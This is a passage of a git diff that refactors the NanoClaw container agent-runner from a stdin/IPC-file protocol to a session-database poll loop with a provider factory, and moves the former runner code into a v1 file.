Stdin: Full ContainerInput JSON (read until EOF, like before) - * IPC: Follow-up messages written as JSON files to /workspace/ipc/input/ - * Files: {type:"message", text:"..."}.json — polled and consumed - * Sentinel: /workspace/ipc/input/_close — signals session end + * Runs inside a container. All IO goes through the session DB. + * No stdin, no stdout markers, no IPC files. * - * Stdout protocol: - * Each result is wrapped in OUTPUT_START_MARKER / OUTPUT_END_MARKER pairs. - * Multiple results may be emitted (one per agent teams result). - * Final marker after loop ends signals completion. + * Config: + * - SESSION_DB_PATH: path to session SQLite DB (default: /workspace/session.db) + * - AGENT_PROVIDER: 'claude' | 'mock' (default: claude) + * - NANOCLAW_ASSISTANT_NAME: assistant name for transcript archiving + * - NANOCLAW_ADMIN_USER_ID: admin user ID for permission checks + * + * Mount structure: + * /workspace/ + * session.db ← session SQLite DB + * outbox/ ← outbound files + * agent/ ← agent group folder (CLAUDE.md, skills, working files) + * .claude/ ← Claude SDK session data */ import fs from 'fs'; import path from 'path'; -import { execFile } from 'child_process'; -import { - query, - HookCallback, - PreCompactHookInput, -} from '@anthropic-ai/claude-agent-sdk'; import { fileURLToPath } from 'url'; -interface ContainerInput { - prompt: string; - sessionId?: string; - groupFolder: string; - chatJid: string; - isMain: boolean; - isScheduledTask?: boolean; - assistantName?: string; - script?: string; +import { createProvider, type ProviderName } from './providers/factory.js'; +import { runPollLoop } from './poll-loop.js'; + +function log(msg: string): void { + console.error(`[agent-runner] ${msg}`); } -interface ContainerOutput { - status: 'success' | 'error'; - result: string | null; - newSessionId?: string; - error?: string; -} +const CWD = '/workspace/agent'; +const GLOBAL_CLAUDE_MD = '/workspace/global/CLAUDE.md'; -interface SessionEntry { - sessionId: string; - fullPath: string; - summary: string; - firstPrompt: string; -} +async function main(): Promise { + const providerName = (process.env.AGENT_PROVIDER || 'claude') as ProviderName; + const assistantName = process.env.NANOCLAW_ASSISTANT_NAME; -interface SessionsIndex { - entries: SessionEntry[]; -} + log(`Starting v2 agent-runner (provider: ${providerName})`); -interface SDKUserMessage { - type: 'user'; - message: { role: 'user'; content: string }; - parent_tool_use_id: null; - session_id: string; -} + const provider = createProvider(providerName, { assistantName }); -const IPC_INPUT_DIR = '/workspace/ipc/input'; -const IPC_INPUT_CLOSE_SENTINEL = path.join(IPC_INPUT_DIR, '_close'); -const IPC_POLL_MS = 500; - -/** - * Push-based async iterable for streaming user messages to the SDK. - * Keeps the iterable alive until end() is called, preventing isSingleUserTurn. - */ -class MessageStream { - private queue: SDKUserMessage[] = []; - private waiting: (() => void) | null = null; - private done = false; - - push(text: string): void { - this.queue.push({ - type: 'user', - message: { role: 'user', content: text }, - parent_tool_use_id: null, - session_id: '', - }); - this.waiting?.(); - } - - end(): void { - this.done = true; - this.waiting?.(); - } - - async *[Symbol.asyncIterator](): AsyncGenerator { - while (true) { - while (this.queue.length > 0) { - yield this.queue.shift()!; - } - if (this.done) return; - await new Promise((r) => { - this.waiting = r; - }); - this.waiting = null; - } - } -} - -async function readStdin(): Promise { - return new Promise((resolve, reject) => { - let data = ''; - process.stdin.setEncoding('utf8'); - process.stdin.on('data', (chunk) => { - data += chunk; - }); - process.stdin.on('end', () => resolve(data)); - process.stdin.on('error', reject); - }); -} - -const OUTPUT_START_MARKER = '---NANOCLAW_OUTPUT_START---'; -const OUTPUT_END_MARKER = '---NANOCLAW_OUTPUT_END---'; - -function writeOutput(output: ContainerOutput): void { - console.log(OUTPUT_START_MARKER); - console.log(JSON.stringify(output)); - console.log(OUTPUT_END_MARKER); -} - -function log(message: string): void { - console.error(`[agent-runner] ${message}`); -} - -function getSessionSummary( - sessionId: string, - transcriptPath: string, -): string | null { - const projectDir = path.dirname(transcriptPath); - const indexPath = path.join(projectDir, 'sessions-index.json'); - - if (!fs.existsSync(indexPath)) { - log(`Sessions index not found at ${indexPath}`); - return null; - } - - try { - const index: SessionsIndex = JSON.parse( - fs.readFileSync(indexPath, 'utf-8'), - ); - const entry = index.entries.find((e) => e.sessionId === sessionId); - if (entry?.summary) { - return entry.summary; - } - } catch (err) { - log( - `Failed to read sessions index: ${err instanceof Error ? err.message : String(err)}`, - ); - } - - return null; -} - -/** - * Archive the full transcript to conversations/ before compaction. - */ -function createPreCompactHook(assistantName?: string): HookCallback { - return async (input, _toolUseId, _context) => { - const preCompact = input as PreCompactHookInput; - const transcriptPath = preCompact.transcript_path; - const sessionId = preCompact.session_id; - - if (!transcriptPath || !fs.existsSync(transcriptPath)) { - log('No transcript found for archiving'); - return {}; - } - - try { - const content = fs.readFileSync(transcriptPath, 'utf-8'); - const messages = parseTranscript(content); - - if (messages.length === 0) { - log('No messages to archive'); - return {}; - } - - const summary = getSessionSummary(sessionId, transcriptPath); - const name = summary ? sanitizeFilename(summary) : generateFallbackName(); - - const conversationsDir = '/workspace/group/conversations'; - fs.mkdirSync(conversationsDir, { recursive: true }); - - const date = new Date().toISOString().split('T')[0]; - const filename = `${date}-${name}.md`; - const filePath = path.join(conversationsDir, filename); - - const markdown = formatTranscriptMarkdown( - messages, - summary, - assistantName, - ); - fs.writeFileSync(filePath, markdown); - - log(`Archived conversation to ${filePath}`); - } catch (err) { - log( - `Failed to archive transcript: ${err instanceof Error ? err.message : String(err)}`, - ); - } - - return {}; - }; -} - -function sanitizeFilename(summary: string): string { - return summary - .toLowerCase() - .replace(/[^a-z0-9]+/g, '-') - .replace(/^-+|-+$/g, '') - .slice(0, 50); -} - -function generateFallbackName(): string { - const time = new Date(); - return `conversation-${time.getHours().toString().padStart(2, '0')}${time.getMinutes().toString().padStart(2, '0')}`; -} - -interface ParsedMessage { - role: 'user' | 'assistant'; - content: string; -} - -function parseTranscript(content: string): ParsedMessage[] { - const messages: ParsedMessage[] = []; - - for (const line of content.split('\n')) { - if (!line.trim()) continue; - try { - const entry = JSON.parse(line); - if (entry.type === 'user' && entry.message?.content) { - const text = - typeof entry.message.content === 'string' - ? entry.message.content - : entry.message.content - .map((c: { text?: string }) => c.text || '') - .join(''); - if (text) messages.push({ role: 'user', content: text }); - } else if (entry.type === 'assistant' && entry.message?.content) { - const textParts = entry.message.content - .filter((c: { type: string }) => c.type === 'text') - .map((c: { text: string }) => c.text); - const text = textParts.join(''); - if (text) messages.push({ role: 'assistant', content: text }); - } - } catch {} - } - - return messages; -} - -function formatTranscriptMarkdown( - messages: ParsedMessage[], - title?: string | null, - assistantName?: string, -): string { - const now = new Date(); - const formatDateTime = (d: Date) => - d.toLocaleString('en-US', { - month: 'short', - day: 'numeric', - hour: 'numeric', - minute: '2-digit', - hour12: true, - }); - - const lines: string[] = []; - lines.push(`# ${title || 'Conversation'}`); - lines.push(''); - lines.push(`Archived: ${formatDateTime(now)}`); - lines.push(''); - lines.push('---'); - lines.push(''); - - for (const msg of messages) { - const sender = msg.role === 'user' ? 'User' : assistantName || 'Assistant'; - const content = - msg.content.length > 2000 - ? msg.content.slice(0, 2000) + '...' - : msg.content; - lines.push(`**${sender}**: ${content}`); - lines.push(''); - } - - return lines.join('\n'); -} - -/** - * Check for _close sentinel. - */ -function shouldClose(): boolean { - if (fs.existsSync(IPC_INPUT_CLOSE_SENTINEL)) { - try { - fs.unlinkSync(IPC_INPUT_CLOSE_SENTINEL); - } catch { - /* ignore */ - } - return true; - } - return false; -} - -/** - * Drain all pending IPC input messages. - * Returns messages found, or empty array. - */ -function drainIpcInput(): string[] { - try { - fs.mkdirSync(IPC_INPUT_DIR, { recursive: true }); - const files = fs - .readdirSync(IPC_INPUT_DIR) - .filter((f) => f.endsWith('.json')) - .sort(); - - const messages: string[] = []; - for (const file of files) { - const filePath = path.join(IPC_INPUT_DIR, file); - try { - const data = JSON.parse(fs.readFileSync(filePath, 'utf-8')); - fs.unlinkSync(filePath); - if (data.type === 'message' && data.text) { - messages.push(data.text); - } - } catch (err) { - log( - `Failed to process input file ${file}: ${err instanceof Error ? err.message : String(err)}`, - ); - try { - fs.unlinkSync(filePath); - } catch { - /* ignore */ - } - } - } - return messages; - } catch (err) { - log(`IPC drain error: ${err instanceof Error ? err.message : String(err)}`); - return []; - } -} - -/** - * Wait for a new IPC message or _close sentinel. - * Returns the messages as a single string, or null if _close. - */ -function waitForIpcMessage(): Promise { - return new Promise((resolve) => { - const poll = () => { - if (shouldClose()) { - resolve(null); - return; - } - const messages = drainIpcInput(); - if (messages.length > 0) { - resolve(messages.join('\n')); - return; - } - setTimeout(poll, IPC_POLL_MS); - }; - poll(); - }); -} - -/** - * Run a single query and stream results via writeOutput. - * Uses MessageStream (AsyncIterable) to keep isSingleUserTurn=false, - * allowing agent teams subagents to run to completion. - * Also pipes IPC messages into the stream during the query. - */ -async function runQuery( - prompt: string, - sessionId: string | undefined, - mcpServerPath: string, - containerInput: ContainerInput, - sdkEnv: Record, - resumeAt?: string, -): Promise<{ - newSessionId?: string; - lastAssistantUuid?: string; - closedDuringQuery: boolean; -}> { - const stream = new MessageStream(); - stream.push(prompt); - - // Poll IPC for follow-up messages and _close sentinel during the query - let ipcPolling = true; - let closedDuringQuery = false; - const pollIpcDuringQuery = () => { - if (!ipcPolling) return; - if (shouldClose()) { - log('Close sentinel detected during query, ending stream'); - closedDuringQuery = true; - stream.end(); - ipcPolling = false; - return; - } - const messages = drainIpcInput(); - for (const text of messages) { - log(`Piping IPC message into active query (${text.length} chars)`); - stream.push(text); - } - setTimeout(pollIpcDuringQuery, IPC_POLL_MS); - }; - setTimeout(pollIpcDuringQuery, IPC_POLL_MS); - - let newSessionId: string | undefined; - let lastAssistantUuid: string | undefined; - let messageCount = 0; - let resultCount = 0; - - // Load global CLAUDE.md as additional system context (shared across all groups) - const globalClaudeMdPath = '/workspace/global/CLAUDE.md'; - let globalClaudeMd: string | undefined; - if (!containerInput.isMain && fs.existsSync(globalClaudeMdPath)) { - globalClaudeMd = fs.readFileSync(globalClaudeMdPath, 'utf-8'); + // Load global CLAUDE.md as additional system context + let systemPrompt: string | undefined; + if (fs.existsSync(GLOBAL_CLAUDE_MD)) { + systemPrompt = fs.readFileSync(GLOBAL_CLAUDE_MD, 'utf-8'); + log('Loaded global CLAUDE.md'); } // Discover additional directories mounted at /workspace/extra/* - // These are passed to the SDK so their CLAUDE.md files are loaded automatically - const extraDirs: string[] = []; + const additionalDirectories: string[] = []; const extraBase = '/workspace/extra'; if (fs.existsSync(extraBase)) { for (const entry of fs.readdirSync(extraBase)) { const fullPath = path.join(extraBase, entry); if (fs.statSync(fullPath).isDirectory()) { - extraDirs.push(fullPath); + additionalDirectories.push(fullPath); } } - } - if (extraDirs.length > 0) { - log(`Additional directories: ${extraDirs.join(', ')}`); - } - - for await (const message of query({ - prompt: stream, - options: { - cwd: '/workspace/group', - additionalDirectories: extraDirs.length > 0 ? extraDirs : undefined, - resume: sessionId, - resumeSessionAt: resumeAt, - systemPrompt: globalClaudeMd - ? { - type: 'preset' as const, - preset: 'claude_code' as const, - append: globalClaudeMd, - } - : undefined, - allowedTools: [ - 'Bash', - 'Read', - 'Write', - 'Edit', - 'Glob', - 'Grep', - 'WebSearch', - 'WebFetch', - 'Task', - 'TaskOutput', - 'TaskStop', - 'TeamCreate', - 'TeamDelete', - 'SendMessage', - 'TodoWrite', - 'ToolSearch', - 'Skill', - 'NotebookEdit', - 'mcp__nanoclaw__*', - ], - env: sdkEnv, - permissionMode: 'bypassPermissions', - allowDangerouslySkipPermissions: true, - settingSources: ['project', 'user'], - mcpServers: { - nanoclaw: { - command: 'node', - args: [mcpServerPath], - env: { - NANOCLAW_CHAT_JID: containerInput.chatJid, - NANOCLAW_GROUP_FOLDER: containerInput.groupFolder, - NANOCLAW_IS_MAIN: containerInput.isMain ? '1' : '0', - }, - }, - }, - hooks: { - PreCompact: [ - { hooks: [createPreCompactHook(containerInput.assistantName)] }, - ], - }, - }, - })) { - messageCount++; - const msgType = - message.type === 'system' - ? `system/${(message as { subtype?: string }).subtype}` - : message.type; - log(`[msg #${messageCount}] type=${msgType}`); - - if (message.type === 'assistant' && 'uuid' in message) { - lastAssistantUuid = (message as { uuid: string }).uuid; - } - - if (message.type === 'system' && message.subtype === 'init') { - newSessionId = message.session_id; - log(`Session initialized: ${newSessionId}`); - } - - if ( - message.type === 'system' && - (message as { subtype?: string }).subtype === 'task_notification' - ) { - const tn = message as { - task_id: string; - status: string; - summary: string; - }; - log( - `Task notification: task=${tn.task_id} status=${tn.status} summary=${tn.summary}`, - ); - } - - if (message.type === 'result') { - resultCount++; - const textResult = - 'result' in message ? (message as { result?: string }).result : null; - log( - `Result #${resultCount}: subtype=${message.subtype}${textResult ? ` text=${textResult.slice(0, 200)}` : ''}`, - ); - writeOutput({ - status: 'success', - result: textResult || null, - newSessionId, - }); + if (additionalDirectories.length > 0) { + log(`Additional directories: ${additionalDirectories.join(', ')}`); } } - ipcPolling = false; - log( - `Query done. Messages: ${messageCount}, results: ${resultCount}, lastAssistantUuid: ${lastAssistantUuid || 'none'}, closedDuringQuery: ${closedDuringQuery}`, - ); - return { newSessionId, lastAssistantUuid, closedDuringQuery }; -} + // MCP server path + const __dirname = path.dirname(fileURLToPath(import.meta.url)); + const mcpServerPath = path.join(__dirname, 'mcp-tools', 'index.js'); -interface ScriptResult { - wakeAgent: boolean; - data?: unknown; -} - -const SCRIPT_TIMEOUT_MS = 30_000; - -async function runScript(script: string): Promise { - const scriptPath = '/tmp/task-script.sh'; - fs.writeFileSync(scriptPath, script, { mode: 0o755 }); - - return new Promise((resolve) => { - execFile( - 'bash', - [scriptPath], - { - timeout: SCRIPT_TIMEOUT_MS, - maxBuffer: 1024 * 1024, - env: process.env, - }, - (error, stdout, stderr) => { - if (stderr) { - log(`Script stderr: ${stderr.slice(0, 500)}`); - } - - if (error) { - log(`Script error: ${error.message}`); - return resolve(null); - } - - // Parse last non-empty line of stdout as JSON - const lines = stdout.trim().split('\n'); - const lastLine = lines[lines.length - 1]; - if (!lastLine) { - log('Script produced no output'); - return resolve(null); - } - - try { - const result = JSON.parse(lastLine); - if (typeof result.wakeAgent !== 'boolean') { - log( - `Script output missing wakeAgent boolean: ${lastLine.slice(0, 200)}`, - ); - return resolve(null); - } - resolve(result as ScriptResult); - } catch { - log(`Script output is not valid JSON: ${lastLine.slice(0, 200)}`); - resolve(null); - } - }, - ); - }); -} - -async function main(): Promise { - let containerInput: ContainerInput; - - try { - const stdinData = await readStdin(); - containerInput = JSON.parse(stdinData); - try { - fs.unlinkSync('/tmp/input.json'); - } catch { - /* may not exist */ - } - log(`Received input for group: ${containerInput.groupFolder}`); - } catch (err) { - writeOutput({ - status: 'error', - result: null, - error: `Failed to parse input: ${err instanceof Error ? err.message : String(err)}`, - }); - process.exit(1); - } - - // Credentials are injected by the host's credential proxy via ANTHROPIC_BASE_URL. - // No real secrets exist in the container environment. - const sdkEnv: Record = { + // SDK env + const env: Record = { ...process.env, CLAUDE_CODE_AUTO_COMPACT_WINDOW: '165000', }; - const __dirname = path.dirname(fileURLToPath(import.meta.url)); - const mcpServerPath = path.join(__dirname, 'ipc-mcp-stdio.js'); - - let sessionId = containerInput.sessionId; - fs.mkdirSync(IPC_INPUT_DIR, { recursive: true }); - - // Clean up stale _close sentinel from previous container runs - try { - fs.unlinkSync(IPC_INPUT_CLOSE_SENTINEL); - } catch { - /* ignore */ - } - - // Build initial prompt (drain any pending IPC messages too) - let prompt = containerInput.prompt; - if (containerInput.isScheduledTask) { - prompt = `[SCHEDULED TASK - The following message was sent automatically and is not coming directly from the user or group.]\n\n${prompt}`; - } - const pending = drainIpcInput(); - if (pending.length > 0) { - log(`Draining ${pending.length} pending IPC messages into initial prompt`); - prompt += '\n' + pending.join('\n'); - } - - // Script phase: run script before waking agent - if (containerInput.script && containerInput.isScheduledTask) { - log('Running task script...'); - const scriptResult = await runScript(containerInput.script); - - if (!scriptResult || !scriptResult.wakeAgent) { - const reason = scriptResult - ? 'wakeAgent=false' - : 'script error/no output'; - log(`Script decided not to wake agent: ${reason}`); - writeOutput({ - status: 'success', - result: null, - }); - return; - } - - // Script says wake agent — enrich prompt with script data - log(`Script wakeAgent=true, enriching prompt with data`); - prompt = `[SCHEDULED TASK]\n\nScript output:\n${JSON.stringify(scriptResult.data, null, 2)}\n\nInstructions:\n${containerInput.prompt}`; - } - - // Query loop: run query → wait for IPC message → run new query → repeat - let resumeAt: string | undefined; - try { - while (true) { - log( - `Starting query (session: ${sessionId || 'new'}, resumeAt: ${resumeAt || 'latest'})...`, - ); - - const queryResult = await runQuery( - prompt, - sessionId, - mcpServerPath, - containerInput, - sdkEnv, - resumeAt, - ); - if (queryResult.newSessionId) { - sessionId = queryResult.newSessionId; - } - if (queryResult.lastAssistantUuid) { - resumeAt = queryResult.lastAssistantUuid; - } - - // If _close was consumed during the query, exit immediately. - // Don't emit a session-update marker (it would reset the host's - // idle timer and cause a 30-min delay before the next _close). - if (queryResult.closedDuringQuery) { - log('Close sentinel consumed during query, exiting'); - break; - } - - // Emit session update so host can track it - writeOutput({ status: 'success', result: null, newSessionId: sessionId }); - - log('Query ended, waiting for next IPC message...'); - - // Wait for the next message or _close sentinel - const nextMessage = await waitForIpcMessage(); - if (nextMessage === null) { - log('Close sentinel received, exiting'); - break; - } - - log(`Got new message (${nextMessage.length} chars), starting new query`); - prompt = nextMessage; - } - } catch (err) { - const errorMessage = err instanceof Error ? err.message : String(err); - log(`Agent error: ${errorMessage}`); - writeOutput({ - status: 'error', - result: null, - newSessionId: sessionId, - error: errorMessage, - }); - process.exit(1); - } + await runPollLoop({ + provider, + cwd: CWD, + mcpServers: { + nanoclaw: { + command: 'node', + args: [mcpServerPath], + env: { + SESSION_DB_PATH: process.env.SESSION_DB_PATH || '/workspace/session.db', + }, + }, + }, + systemPrompt, + env, + additionalDirectories: additionalDirectories.length > 0 ? additionalDirectories : undefined, + }); } -main(); +main().catch((err) => { + log(`Fatal error: ${err instanceof Error ? err.message : String(err)}`); + process.exit(1); +}); diff --git a/container/agent-runner/src/v1/index.ts b/container/agent-runner/src/v1/index.ts new file mode 100644 index 0000000..7e739c7 --- /dev/null +++ b/container/agent-runner/src/v1/index.ts @@ -0,0 +1,736 @@ +/** + * NanoClaw Agent Runner + * Runs inside a container, receives config via stdin, outputs result to stdout + * + * Input protocol: + * Stdin: Full ContainerInput JSON (read until EOF, like before) + * IPC: Follow-up messages written as JSON files to /workspace/ipc/input/ + * Files: {type:"message", text:"..."}.json — polled and consumed + * Sentinel: /workspace/ipc/input/_close — signals session end + * + * Stdout protocol: + * Each result is wrapped in OUTPUT_START_MARKER / OUTPUT_END_MARKER pairs. + * Multiple results may be emitted (one per agent teams result). + * Final marker after loop ends signals completion. + */ + +import fs from 'fs'; +import path from 'path'; +import { execFile } from 'child_process'; +import { + query, + HookCallback, + PreCompactHookInput, +} from '@anthropic-ai/claude-agent-sdk'; +import { fileURLToPath } from 'url'; + +interface ContainerInput { + prompt: string; + sessionId?: string; + groupFolder: string; + chatJid: string; + isMain: boolean; + isScheduledTask?: boolean; + assistantName?: string; + script?: string; +} + +interface ContainerOutput { + status: 'success' | 'error'; + result: string | null; + newSessionId?: string; + error?: string; +} + +interface SessionEntry { + sessionId: string; + fullPath: string; + summary: string; + firstPrompt: string; +} + +interface SessionsIndex { + entries: SessionEntry[]; +} + +interface SDKUserMessage { + type: 'user'; + message: { role: 'user'; content: string }; + parent_tool_use_id: null; + session_id: string; +} + +const IPC_INPUT_DIR = '/workspace/ipc/input'; +const IPC_INPUT_CLOSE_SENTINEL = path.join(IPC_INPUT_DIR, '_close'); +const IPC_POLL_MS = 500; + +/** + * Push-based async iterable for streaming user messages to the SDK. + * Keeps the iterable alive until end() is called, preventing isSingleUserTurn. + */ +class MessageStream { + private queue: SDKUserMessage[] = []; + private waiting: (() => void) | null = null; + private done = false; + + push(text: string): void { + this.queue.push({ + type: 'user', + message: { role: 'user', content: text }, + parent_tool_use_id: null, + session_id: '', + }); + this.waiting?.(); + } + + end(): void { + this.done = true; + this.waiting?.(); + } + + async *[Symbol.asyncIterator](): AsyncGenerator { + while (true) { + while (this.queue.length > 0) { + yield this.queue.shift()!; + } + if (this.done) return; + await new Promise((r) => { + this.waiting = r; + }); + this.waiting = null; + } + } +} + +async function readStdin(): Promise { + return new Promise((resolve, reject) => { + let data = ''; + process.stdin.setEncoding('utf8'); + process.stdin.on('data', (chunk) => { + data += chunk; + }); + process.stdin.on('end', () => resolve(data)); + process.stdin.on('error', reject); + }); +} + +const OUTPUT_START_MARKER = '---NANOCLAW_OUTPUT_START---'; +const OUTPUT_END_MARKER = '---NANOCLAW_OUTPUT_END---'; + +function writeOutput(output: ContainerOutput): void { + console.log(OUTPUT_START_MARKER); + console.log(JSON.stringify(output)); + console.log(OUTPUT_END_MARKER); +} + +function log(message: string): void { + console.error(`[agent-runner] ${message}`); +} + +function getSessionSummary( + sessionId: string, + transcriptPath: string, +): string | null { + const projectDir = path.dirname(transcriptPath); + const indexPath = path.join(projectDir, 'sessions-index.json'); + + if (!fs.existsSync(indexPath)) { + log(`Sessions index not found at ${indexPath}`); + return null; + } + + try { + const index: SessionsIndex = JSON.parse( + fs.readFileSync(indexPath, 'utf-8'), + ); + const entry = index.entries.find((e) => e.sessionId === sessionId); + if (entry?.summary) { + return entry.summary; + } + } catch (err) { + log( + `Failed to read sessions index: ${err instanceof Error ? err.message : String(err)}`, + ); + } + + return null; +} + +/** + * Archive the full transcript to conversations/ before compaction. + */ +function createPreCompactHook(assistantName?: string): HookCallback { + return async (input, _toolUseId, _context) => { + const preCompact = input as PreCompactHookInput; + const transcriptPath = preCompact.transcript_path; + const sessionId = preCompact.session_id; + + if (!transcriptPath || !fs.existsSync(transcriptPath)) { + log('No transcript found for archiving'); + return {}; + } + + try { + const content = fs.readFileSync(transcriptPath, 'utf-8'); + const messages = parseTranscript(content); + + if (messages.length === 0) { + log('No messages to archive'); + return {}; + } + + const summary = getSessionSummary(sessionId, transcriptPath); + const name = summary ? sanitizeFilename(summary) : generateFallbackName(); + + const conversationsDir = '/workspace/group/conversations'; + fs.mkdirSync(conversationsDir, { recursive: true }); + + const date = new Date().toISOString().split('T')[0]; + const filename = `${date}-${name}.md`; + const filePath = path.join(conversationsDir, filename); + + const markdown = formatTranscriptMarkdown( + messages, + summary, + assistantName, + ); + fs.writeFileSync(filePath, markdown); + + log(`Archived conversation to ${filePath}`); + } catch (err) { + log( + `Failed to archive transcript: ${err instanceof Error ? err.message : String(err)}`, + ); + } + + return {}; + }; +} + +function sanitizeFilename(summary: string): string { + return summary + .toLowerCase() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-+|-+$/g, '') + .slice(0, 50); +} + +function generateFallbackName(): string { + const time = new Date(); + return `conversation-${time.getHours().toString().padStart(2, '0')}${time.getMinutes().toString().padStart(2, '0')}`; +} + +interface ParsedMessage { + role: 'user' | 'assistant'; + content: string; +} + +function parseTranscript(content: string): ParsedMessage[] { + const messages: ParsedMessage[] = []; + + for (const line of content.split('\n')) { + if (!line.trim()) continue; + try { + const entry = JSON.parse(line); + if (entry.type === 'user' && entry.message?.content) { + const text = + typeof entry.message.content === 'string' + ? entry.message.content + : entry.message.content + .map((c: { text?: string }) => c.text || '') + .join(''); + if (text) messages.push({ role: 'user', content: text }); + } else if (entry.type === 'assistant' && entry.message?.content) { + const textParts = entry.message.content + .filter((c: { type: string }) => c.type === 'text') + .map((c: { text: string }) => c.text); + const text = textParts.join(''); + if (text) messages.push({ role: 'assistant', content: text }); + } + } catch {} + } + + return messages; +} + +function formatTranscriptMarkdown( + messages: ParsedMessage[], + title?: string | null, + assistantName?: string, +): string { + const now = new Date(); + const formatDateTime = (d: Date) => + d.toLocaleString('en-US', { + month: 'short', + day: 'numeric', + hour: 'numeric', + minute: '2-digit', + hour12: true, + }); + + const lines: string[] = []; + lines.push(`# ${title || 'Conversation'}`); + lines.push(''); + lines.push(`Archived: ${formatDateTime(now)}`); + lines.push(''); + lines.push('---'); + lines.push(''); + + for (const msg of messages) { + const sender = msg.role === 'user' ? 'User' : assistantName || 'Assistant'; + const content = + msg.content.length > 2000 + ? msg.content.slice(0, 2000) + '...' + : msg.content; + lines.push(`**${sender}**: ${content}`); + lines.push(''); + } + + return lines.join('\n'); +} + +/** + * Check for _close sentinel. + */ +function shouldClose(): boolean { + if (fs.existsSync(IPC_INPUT_CLOSE_SENTINEL)) { + try { + fs.unlinkSync(IPC_INPUT_CLOSE_SENTINEL); + } catch { + /* ignore */ + } + return true; + } + return false; +} + +/** + * Drain all pending IPC input messages. + * Returns messages found, or empty array. + */ +function drainIpcInput(): string[] { + try { + fs.mkdirSync(IPC_INPUT_DIR, { recursive: true }); + const files = fs + .readdirSync(IPC_INPUT_DIR) + .filter((f) => f.endsWith('.json')) + .sort(); + + const messages: string[] = []; + for (const file of files) { + const filePath = path.join(IPC_INPUT_DIR, file); + try { + const data = JSON.parse(fs.readFileSync(filePath, 'utf-8')); + fs.unlinkSync(filePath); + if (data.type === 'message' && data.text) { + messages.push(data.text); + } + } catch (err) { + log( + `Failed to process input file ${file}: ${err instanceof Error ? err.message : String(err)}`, + ); + try { + fs.unlinkSync(filePath); + } catch { + /* ignore */ + } + } + } + return messages; + } catch (err) { + log(`IPC drain error: ${err instanceof Error ? err.message : String(err)}`); + return []; + } +} + +/** + * Wait for a new IPC message or _close sentinel. + * Returns the messages as a single string, or null if _close. + */ +function waitForIpcMessage(): Promise { + return new Promise((resolve) => { + const poll = () => { + if (shouldClose()) { + resolve(null); + return; + } + const messages = drainIpcInput(); + if (messages.length > 0) { + resolve(messages.join('\n')); + return; + } + setTimeout(poll, IPC_POLL_MS); + }; + poll(); + }); +} + +/** + * Run a single query and stream results via writeOutput. + * Uses MessageStream (AsyncIterable) to keep isSingleUserTurn=false, + * allowing agent teams subagents to run to completion. + * Also pipes IPC messages into the stream during the query. + */ +async function runQuery( + prompt: string, + sessionId: string | undefined, + mcpServerPath: string, + containerInput: ContainerInput, + sdkEnv: Record, + resumeAt?: string, +): Promise<{ + newSessionId?: string; + lastAssistantUuid?: string; + closedDuringQuery: boolean; +}> { + const stream = new MessageStream(); + stream.push(prompt); + + // Poll IPC for follow-up messages and _close sentinel during the query + let ipcPolling = true; + let closedDuringQuery = false; + const pollIpcDuringQuery = () => { + if (!ipcPolling) return; + if (shouldClose()) { + log('Close sentinel detected during query, ending stream'); + closedDuringQuery = true; + stream.end(); + ipcPolling = false; + return; + } + const messages = drainIpcInput(); + for (const text of messages) { + log(`Piping IPC message into active query (${text.length} chars)`); + stream.push(text); + } + setTimeout(pollIpcDuringQuery, IPC_POLL_MS); + }; + setTimeout(pollIpcDuringQuery, IPC_POLL_MS); + + let newSessionId: string | undefined; + let lastAssistantUuid: string | undefined; + let messageCount = 0; + let resultCount = 0; + + // Load global CLAUDE.md as additional system context (shared across all groups) + const globalClaudeMdPath = '/workspace/global/CLAUDE.md'; + let globalClaudeMd: string | undefined; + if (!containerInput.isMain && fs.existsSync(globalClaudeMdPath)) { + globalClaudeMd = fs.readFileSync(globalClaudeMdPath, 'utf-8'); + } + + // Discover additional directories mounted at /workspace/extra/* + // These are passed to the SDK so their CLAUDE.md files are loaded automatically + const extraDirs: string[] = []; + const extraBase = '/workspace/extra'; + if (fs.existsSync(extraBase)) { + for (const entry of fs.readdirSync(extraBase)) { + const fullPath = path.join(extraBase, entry); + if (fs.statSync(fullPath).isDirectory()) { + extraDirs.push(fullPath); + } + } + } + if (extraDirs.length > 0) { + log(`Additional directories: ${extraDirs.join(', ')}`); + } + + for await (const message of query({ + prompt: stream, + options: { + cwd: '/workspace/group', + additionalDirectories: extraDirs.length > 0 ? extraDirs : undefined, + resume: sessionId, + resumeSessionAt: resumeAt, + systemPrompt: globalClaudeMd + ? { + type: 'preset' as const, + preset: 'claude_code' as const, + append: globalClaudeMd, + } + : undefined, + allowedTools: [ + 'Bash', + 'Read', + 'Write', + 'Edit', + 'Glob', + 'Grep', + 'WebSearch', + 'WebFetch', + 'Task', + 'TaskOutput', + 'TaskStop', + 'TeamCreate', + 'TeamDelete', + 'SendMessage', + 'TodoWrite', + 'ToolSearch', + 'Skill', + 'NotebookEdit', + 'mcp__nanoclaw__*', + ], + env: sdkEnv, + permissionMode: 'bypassPermissions', + allowDangerouslySkipPermissions: true, + settingSources: ['project', 'user'], + mcpServers: { + nanoclaw: { + command: 'node', + args: [mcpServerPath], + env: { + NANOCLAW_CHAT_JID: containerInput.chatJid, + NANOCLAW_GROUP_FOLDER: containerInput.groupFolder, + NANOCLAW_IS_MAIN: containerInput.isMain ? '1' : '0', + }, + }, + }, + hooks: { + PreCompact: [ + { hooks: [createPreCompactHook(containerInput.assistantName)] }, + ], + }, + }, + })) { + messageCount++; + const msgType = + message.type === 'system' + ? `system/${(message as { subtype?: string }).subtype}` + : message.type; + log(`[msg #${messageCount}] type=${msgType}`); + + if (message.type === 'assistant' && 'uuid' in message) { + lastAssistantUuid = (message as { uuid: string }).uuid; + } + + if (message.type === 'system' && message.subtype === 'init') { + newSessionId = message.session_id; + log(`Session initialized: ${newSessionId}`); + } + + if ( + message.type === 'system' && + (message as { subtype?: string }).subtype === 'task_notification' + ) { + const tn = message as { + task_id: string; + status: string; + summary: string; + }; + log( + `Task notification: task=${tn.task_id} status=${tn.status} summary=${tn.summary}`, + ); + } + + if (message.type === 'result') { + resultCount++; + const textResult = + 'result' in message ? (message as { result?: string }).result : null; + log( + `Result #${resultCount}: subtype=${message.subtype}${textResult ? ` text=${textResult.slice(0, 200)}` : ''}`, + ); + writeOutput({ + status: 'success', + result: textResult || null, + newSessionId, + }); + } + } + + ipcPolling = false; + log( + `Query done. Messages: ${messageCount}, results: ${resultCount}, lastAssistantUuid: ${lastAssistantUuid || 'none'}, closedDuringQuery: ${closedDuringQuery}`, + ); + return { newSessionId, lastAssistantUuid, closedDuringQuery }; +} + +interface 